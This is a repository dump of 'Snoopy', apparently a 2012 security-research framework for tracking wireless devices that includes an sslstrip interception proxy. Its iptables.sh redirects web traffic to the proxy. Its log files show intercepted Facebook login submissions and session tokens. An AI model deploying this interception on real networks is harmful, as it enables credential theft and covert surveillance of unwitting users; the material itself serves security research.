├── snoopy ├── server │ ├── bin │ │ ├── __init__.py │ │ ├── sslstripSnoopy │ │ │ ├── __init__.py │ │ │ ├── sslstrip │ │ │ │ ├── __init__.py │ │ │ │ ├── DnsCache.pyc │ │ │ │ ├── __init__.pyc │ │ │ │ ├── URLMonitor.pyc │ │ │ │ ├── ClientRequest.pyc │ │ │ │ ├── CookieCleaner.pyc │ │ │ │ ├── StrippingProxy.pyc │ │ │ │ ├── ServerConnection.pyc │ │ │ │ ├── SSLServerConnection.pyc │ │ │ │ ├── ServerConnectionFactory.pyc │ │ │ │ ├── DnsCache.py │ │ │ │ ├── StrippingProxy.py │ │ │ │ ├── ServerConnectionFactory.py │ │ │ │ ├── URLMonitor.py │ │ │ │ ├── CookieCleaner.py │ │ │ │ ├── SSLServerConnection.py~ │ │ │ │ ├── SSLServerConnection.py │ │ │ │ └── ServerConnection.py~ │ │ │ ├── build │ │ │ │ ├── lib.linux-i686-2.7 │ │ │ │ │ └── sslstrip │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── DnsCache.py │ │ │ │ │ │ ├── StrippingProxy.py │ │ │ │ │ │ ├── ServerConnectionFactory.py │ │ │ │ │ │ ├── URLMonitor.py │ │ │ │ │ │ ├── CookieCleaner.py │ │ │ │ │ │ ├── SSLServerConnection.py │ │ │ │ │ │ └── ServerConnection.py │ │ │ │ └── scripts-2.7 │ │ │ │ │ └── sslstrip │ │ │ ├── lock.ico │ │ │ ├── __init__.pyc │ │ │ ├── sslstrip1.pyc │ │ │ ├── FOO │ │ │ ├── iptables.sh │ │ │ ├── sslstrip.log │ │ │ ├── junaid.log.export │ │ │ ├── junaid.lo.old │ │ │ ├── README │ │ │ ├── setup.py │ │ │ ├── jstripper.py │ │ │ ├── sslstrip.py │ │ │ └── sslstrip1.py │ │ ├── wigle_creds.txt │ │ ├── snoopy │ │ │ ├── src │ │ │ │ └── snoopy │ │ │ │ │ ├── plugins │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── wifi.pyc │ │ │ │ │ ├── wigle.pyc │ │ │ │ │ ├── gpsmovs.pyc │ │ │ │ │ ├── __init__.pyc │ │ │ │ │ ├── wigle.py │ │ │ │ │ ├── wifi.py │ │ │ │ │ └── gpsmovs.py │ │ │ │ │ ├── __init__.pyc │ │ │ │ │ ├── web │ │ │ │ │ ├── main.pyc │ │ │ │ │ ├── __init__.pyc │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── main.py │ │ │ │ │ ├── db │ │ │ │ │ ├── models.pyc │ │ │ │ │ ├── __init__.pyc │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── models.py │ │ │ │ │ ├── static │ │ │ │ │ ├── images │ │ │ │ │ │ ├── logo.png │ │ │ │ │ │ └── background-gradient.png │ │ │ │ │ ├── css │ │ │ │ │ │ ├── images │ │ │ │ │ │ │ ├── ui-icons_222222_256x240.png │ │ │ │ │ │ │ ├── ui-icons_4b8e0b_256x240.png │ │ │ │ │ │ │ ├── ui-icons_a83300_256x240.png │ │ │ │ │ │ │ ├── ui-icons_cccccc_256x240.png │ │ │ │ │ │ │ ├── ui-icons_ffffff_256x240.png │ │ │ │ │ │ │ ├── ui-bg_flat_30_cccccc_40x100.png │ │ │ │ │ │ │ ├── ui-bg_flat_50_5c5c5c_40x100.png │ │ │ │ │ │ │ ├── ui-bg_glass_40_ffc73d_1x400.png │ │ │ │ │ │ │ ├── ui-bg_loop_25_000000_21x21.png │ │ │ │ │ │ │ ├── ui-bg_highlight-hard_20_0972a5_1x100.png │ │ │ │ │ │ │ ├── ui-bg_highlight-soft_33_003147_1x100.png │ │ │ │ │ │ │ ├── ui-bg_highlight-soft_35_222222_1x100.png │ │ │ │ │ │ │ ├── ui-bg_highlight-soft_44_444444_1x100.png │ │ │ │ │ │ │ └── ui-bg_highlight-soft_80_eeeeee_1x100.png │ │ │ │ │ │ ├── cssreset-min.css │ │ │ │ │ │ └── snoopy-main.css │ │ │ │ │ └── js │ │ │ │ │ │ ├── ssidlist.js │ │ │ │ │ │ ├── snoopy-login.js │ │ │ │ │ │ ├── wigle.js │ │ │ │ │ │ └── gpsmovs.js │ │ │ │ │ ├── templates │ │ │ │ │ ├── login.html │ │ │ │ │ └── main.html │ │ │ │ │ └── __init__.py │ │ │ └── README.md │ │ ├── vpn_drones.py │ │ ├── stawk_db.py │ │ ├── process_probe_pcaps.sh │ │ ├── snarfer.sh │ │ ├── snoopy_server.py │ │ ├── prox_guid.py │ │ ├── ssid_to_loc.py │ │ └── facebook.py │ ├── logs │ │ ├── snoopy.log │ │ └── logs_maltego.txt │ ├── setup │ │ ├── replace_html.txt │ │ ├── replace_match.txt │ │ ├── config │ │ ├── sn.txt │ │ ├── network_diagram.txt │ │ └── db_setup.sql │ ├── transforms │ │ ├── common.py │ │ ├── Maltego.pyc │ │ ├── stawk_db.py │ │ ├── summary.py │ │ ├── fetchUAsFromClient.py │ │ ├── vegas44con.py │ │ ├── fetchSSIDs.py │ │ ├── testPy.py │ │ ├── fetchAllFacebook.py │ │ ├── fetchTweetsByLocation.py │ │ ├── fetchDomains.py │ │ ├── fetchUserAgents.py │ │ ├── fetchAllDomains.py │ │ ├── fetchCountries.py │ │ ├── fetchLocations.py │ │ ├── fetchClientsFromCountry.py │ │ ├── fetchClientsFromUA.py │ │ ├── fetchClientsFromDomain.py │ │ ├── fetchFacebook.py │ │ ├── fetchFacebookFriends.py │ │ ├── fetchSSIDLocations.py │ │ ├── fetchDrones.py │ │ └── Maltego.py │ └── web_data │ │ └── maltego │ │ ├── snoopy_entities.mtz │ │ └── snoopy_machines.tar.gz └── client │ ├── setup │ ├── snoopy.png │ └── snoopy.desktop │ ├── configs │ └── drivers │ │ └── drivers.txt │ ├── setup_linux.sh │ ├── setup_n900.sh │ └── bin │ └── snoopy_gpslogger.py └── LICENSE.txt /snoopy/server/bin/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /snoopy/server/logs/snoopy.log: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /snoopy/server/logs/logs_maltego.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /snoopy/server/setup/replace_html.txt: -------------------------------------------------------------------------------- 1 | down 2 | -------------------------------------------------------------------------------- /snoopy/server/setup/replace_match.txt: -------------------------------------------------------------------------------- 1 | up 2 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /snoopy/server/transforms/common.py: -------------------------------------------------------------------------------- 1 | lookback=400 2 | -------------------------------------------------------------------------------- /snoopy/server/bin/wigle_creds.txt: -------------------------------------------------------------------------------- 1 | setYourWigleUsername:AndPassword: 2 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | "Nothing to see here. Move along." 2 | -------------------------------------------------------------------------------- /snoopy/client/setup/snoopy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/client/setup/snoopy.png -------------------------------------------------------------------------------- /snoopy/server/setup/config: -------------------------------------------------------------------------------- 1 | vpn_server="" 2 | rsync_user="" 3 | rsync_user_home="" 4 | web_root="/var/www" 5 | -------------------------------------------------------------------------------- /snoopy/server/transforms/Maltego.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/transforms/Maltego.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/lock.ico -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/__init__.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/__init__.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/web/main.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/web/main.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip1.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip1.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/db/models.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/db/models.pyc -------------------------------------------------------------------------------- /snoopy/server/web_data/maltego/snoopy_entities.mtz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/web_data/maltego/snoopy_entities.mtz -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/db/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/db/__init__.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/plugins/wifi.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/plugins/wifi.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/plugins/wigle.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/plugins/wigle.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/web/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/web/__init__.pyc -------------------------------------------------------------------------------- /snoopy/server/web_data/maltego/snoopy_machines.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/web_data/maltego/snoopy_machines.tar.gz -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/plugins/gpsmovs.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/plugins/gpsmovs.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/DnsCache.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/DnsCache.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/__init__.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/plugins/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/plugins/__init__.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/images/logo.png -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/URLMonitor.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/URLMonitor.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/ClientRequest.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/ClientRequest.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/CookieCleaner.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/CookieCleaner.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/StrippingProxy.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/StrippingProxy.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnection.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/SSLServerConnection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/SSLServerConnection.pyc -------------------------------------------------------------------------------- /snoopy/client/configs/drivers/drivers.txt: -------------------------------------------------------------------------------- 1 | Only required for the N900. The setup_n900.sh script will copy the PwnPhone's 802.11 drivers here, to ensure they match the powerkernel version. 2 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnectionFactory.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/sslstripSnoopy/sslstrip/ServerConnectionFactory.pyc -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/images/background-gradient.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/images/background-gradient.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_222222_256x240.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_222222_256x240.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_4b8e0b_256x240.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_4b8e0b_256x240.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_a83300_256x240.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_a83300_256x240.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_cccccc_256x240.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_cccccc_256x240.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_ffffff_256x240.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-icons_ffffff_256x240.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_flat_30_cccccc_40x100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_flat_30_cccccc_40x100.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_flat_50_5c5c5c_40x100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_flat_50_5c5c5c_40x100.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_glass_40_ffc73d_1x400.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_glass_40_ffc73d_1x400.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_loop_25_000000_21x21.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_loop_25_000000_21x21.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-hard_20_0972a5_1x100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-hard_20_0972a5_1x100.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_33_003147_1x100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_33_003147_1x100.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_35_222222_1x100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_35_222222_1x100.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_44_444444_1x100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_44_444444_1x100.png -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_80_eeeeee_1x100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/Snoopy/HEAD/snoopy/server/bin/snoopy/src/snoopy/static/css/images/ui-bg_highlight-soft_80_eeeeee_1x100.png -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/FOO: -------------------------------------------------------------------------------- 1 | 2012-09-28 12:19:37,197 Client:192.168.42.1 SECURE POST Data (www.facebook.com) URL(/login.php?login_attempt=1)URL: 2 | lsd=AVq2GjAm&email=hey&pass=there&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&timezone=-120&lgnrnd=041930_KA5q&lgnjs=1348831172&locale=en_US 3 | -------------------------------------------------------------------------------- /snoopy/client/setup/snoopy.desktop: -------------------------------------------------------------------------------- 1 | [Desktop Entry] 2 | Encoding=UTF-8 3 | Version=1.0 4 | Type=Application 5 | Name=Snoopy 6 | Comment=Snoopy 7 | Terminal=true 8 | Icon=snoopy 9 | Exec=osso-xterm -e "sudo /root/snoopy/bin/snoopy.sh" 10 | X-Window-Icon=snoopy 11 | X-HildonDesk-ShowInToolbar=true 12 | X-Osso-Type=application/x-executable 13 | #Categories=Application;Network;Security 14 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/iptables.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo 1 > /proc/sys/net/ipv4/ip_forward 4 | 5 | iptables -P INPUT ACCEPT 6 | iptables -P OUTPUT ACCEPT 7 | iptables -P FORWARD ACCEPT 8 | iptables -F INPUT 9 | iptables -F OUTPUT 10 | iptables -F FORWARD 11 | 12 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 13 | iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 14 | 15 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip.log: -------------------------------------------------------------------------------- 1 | 2012-09-27 17:11:11,178 Client:192.168.42.1 POST Data (m.facebook.com) URL(/stories.php?tab=h_nor&max=1348762077&pos=24&lvi=-704921669899750188&cqi=5792889577992601577&__ajax__)URL: 2 | fb_dtsg=AQAAvbk9&__user=100004371821758&__ajax__=true&__metablock__=8 3 | 2012-09-27 17:11:13,394 Client:192.168.42.1 POST Data (m.facebook.com) URL(/bookmarks/get.php?partial=1&refid=7)URL: 4 | fb_dtsg=AQAAvbk9&__user=100004371821758&__ajax__=true&__metablock__=9 5 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/web/__init__.py: -------------------------------------------------------------------------------- 1 | """Contains web-app specific code.""" 2 | 3 | from functools import wraps 4 | from flask import request, redirect, url_for 5 | 6 | DEBUG = False 7 | 8 | def login_required(f): 9 | @wraps(f) 10 | def decorated_function(*args, **kwargs): 11 | beaker = request.environ['beaker.session'] 12 | if not beaker.has_key('userid') and not DEBUG: 13 | return redirect(url_for('login')) 14 | return f(*args, **kwargs) 15 | return decorated_function 16 | -------------------------------------------------------------------------------- /snoopy/server/bin/vpn_drones.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | # Determines if Drones are connected via OpenVPN 7 | 8 | import re 9 | import time 10 | 11 | f=open("/etc/openvpn/openvpn-status.log", "r") 12 | line=f.readline() 13 | while ( not re.search('^Common.*',line)): 14 | line=f.readline() 15 | 16 | line=f.readline() 17 | while ( not re.search('^ROUTING.*',line)): 18 | line=line.strip() 19 | r=line.split(',') 20 | client,ip,time=r[0],r[1],r[4] 21 | ip=ip.split(':')[0] 22 | # print "'%s' connected since' %s' (from '%s')" %(client,time,ip) 23 | print "%s\t%s\t%s" %(time,ip,client) 24 | 25 | line=f.readline() 26 | 27 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /snoopy/server/bin/stawk_db.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | import MySQLdb 7 | import logging 8 | import time 9 | 10 | dbhost="localhost" 11 | dbuser="snoopy" 12 | dbpass="RANDOMPASSWORDGOESHERE" 13 | dbdb="snoopy" 14 | retries=20 15 | 16 | def dbconnect(): 17 | for i in range(retries): 18 | try: 19 | # unicdoe is a whore 20 | db = MySQLdb.connect(dbhost, dbuser,dbpass,dbdb, use_unicode=True, charset='utf8') 21 | db.autocommit(True) 22 | except Exception,e: 23 | logging.error("Unable to connect to MySQL! I'll try %d more times"%(retries-i)) 24 | logging.error(e) 25 | time.sleep(5) 26 | else: 27 | return db.cursor() 28 | 29 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/js/ssidlist.js: -------------------------------------------------------------------------------- 1 | Snoopy.registerPlugin('ssids', function(section, clData) { 2 | var $outer_ul = $(document.createElement('ul')); 3 | for (var ssid in clData) { 4 | if (!clData.hasOwnProperty(ssid)) { continue; } 5 | var $ps_ul = $(document.createElement('ul')), 6 | prox_sessions = clData[ssid], 7 | ssid_i; 8 | for (ssid_i=0; ssid_i < prox_sessions.length; ssid_i++) 9 | $ps_ul.append( $(document.createElement('li')).text(prox_sessions[ssid_i]) ); 10 | $outer_ul.append( 11 | $(document.createElement('li')) 12 | .text(ssid).append($ps_ul).expander() 13 | ); 14 | } 15 | $('.section-content', section).append($outer_ul); 16 | }); 17 | -------------------------------------------------------------------------------- /snoopy/server/transforms/stawk_db.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | import MySQLdb 7 | import logging 8 | import time 9 | 10 | dbhost="localhost" 11 | dbuser="snoopy" 12 | dbpass="RANDOMPASSWORDGOESHERE" 13 | dbdb="snoopy" 14 | retries=20 15 | 16 | def dbconnect(): 17 | for i in range(retries): 18 | try: 19 | # unicdoe is a whore 20 | db = MySQLdb.connect(dbhost, dbuser,dbpass,dbdb, use_unicode=True, charset='utf8') 21 | db.autocommit(True) 22 | except Exception,e: 23 | logging.error("Unable to connect to MySQL! I'll try %d more times"%(retries-i)) 24 | logging.error(e) 25 | time.sleep(5) 26 | else: 27 | return db.cursor() 28 | 29 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/junaid.log.export: -------------------------------------------------------------------------------- 1 | "timestamp","src_ip","domain","url","secure","post" 2 | "2012-09-04 00:05:34","127.0.0.1","www.facebook.com","gin.php?login_attempt=1","1","lsd=AVq3hWyM&email=test&pass=test&default_persistent=0&charset_test=€,´,€,´,水,Д,Є&timezone=-120&lgnrnd=150518_f6eB&lgnjs=1346709923&locale=en_US" 3 | "2012-09-04 00:05:59","127.0.0.1","safebrowsing.clients.google.com","febrowsing/downloads?client=chromium&appver=18.0.1025.151&pver=2.2&wrkey=AKEgNiuKlgfbFTTjNhgiQoemn1RyByxpgyhnbhtYlVoJL8PeoNVEbpPel-4V-1DQUu8pYj_V4KOATayfAkrrPDvoYiRJ2hCNVQ==","0","goog-malware-shavar;a:82048-90224:s:84481-94487:macgoog-phish-shavar;a:223615-233668:s:105018-109559:macgoog-badbinurl-shavar;a:5355-7706:s:4513-7608:macgoog-csdwhite-sha256;a:1-24:s:1:macgoog-downloadwhite-digest256;a:1-41:s:1-5:mac" 4 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/junaid.lo.old: -------------------------------------------------------------------------------- 1 | 2012-09-04 00:05:34,919 Client:127.0.0.1 SECURE POST Data (www.facebook.com) URL(/login.php?login_attempt=1)URL: 2 | lsd=AVq3hWyM&email=test&pass=test&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&timezone=-120&lgnrnd=150518_f6eB&lgnjs=1346709923&locale=en_US 3 | 2012-09-04 00:05:59,441 Client:127.0.0.1 POST Data (safebrowsing.clients.google.com) URL(/safebrowsing/downloads?client=chromium&appver=18.0.1025.151&pver=2.2&wrkey=AKEgNiuKlgfbFTTjNhgiQoemn1RyByxpgyhnbhtYlVoJL8PeoNVEbpPel-4V-1DQUu8pYj_V4KOATayfAkrrPDvoYiRJ2hCNVQ==)URL: 4 | goog-malware-shavar;a:82048-90224:s:84481-94487:mac 5 | goog-phish-shavar;a:223615-233668:s:105018-109559:mac 6 | goog-badbinurl-shavar;a:5355-7706:s:4513-7608:mac 7 | goog-csdwhite-sha256;a:1-24:s:1:mac 8 | goog-downloadwhite-digest256;a:1-41:s:1-5:mac 9 | 10 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/cssreset-min.css: -------------------------------------------------------------------------------- 1 | /* 2 | YUI 3.6.0 (build 5521) 3 | Copyright 2012 Yahoo! Inc. All rights reserved. 4 | Licensed under the BSD License. 5 | http://yuilibrary.com/license/ 6 | */ 7 | html{color:#000;background:#FFF}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{margin:0;padding:0}table{border-collapse:collapse;border-spacing:0}fieldset,img{border:0}address,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal}ol,ul{list-style:none}caption,th{text-align:left}h1,h2,h3,h4,h5,h6{font-size:100%;font-weight:normal}q:before,q:after{content:''}abbr,acronym{border:0;font-variant:normal}sup{vertical-align:text-top}sub{vertical-align:text-bottom}input,textarea,select{font-family:inherit;font-size:inherit;font-weight:inherit}input,textarea,select{*font-size:100%}legend{color:#000}#yui3-css-stamp.cssreset{display:none} -------------------------------------------------------------------------------- 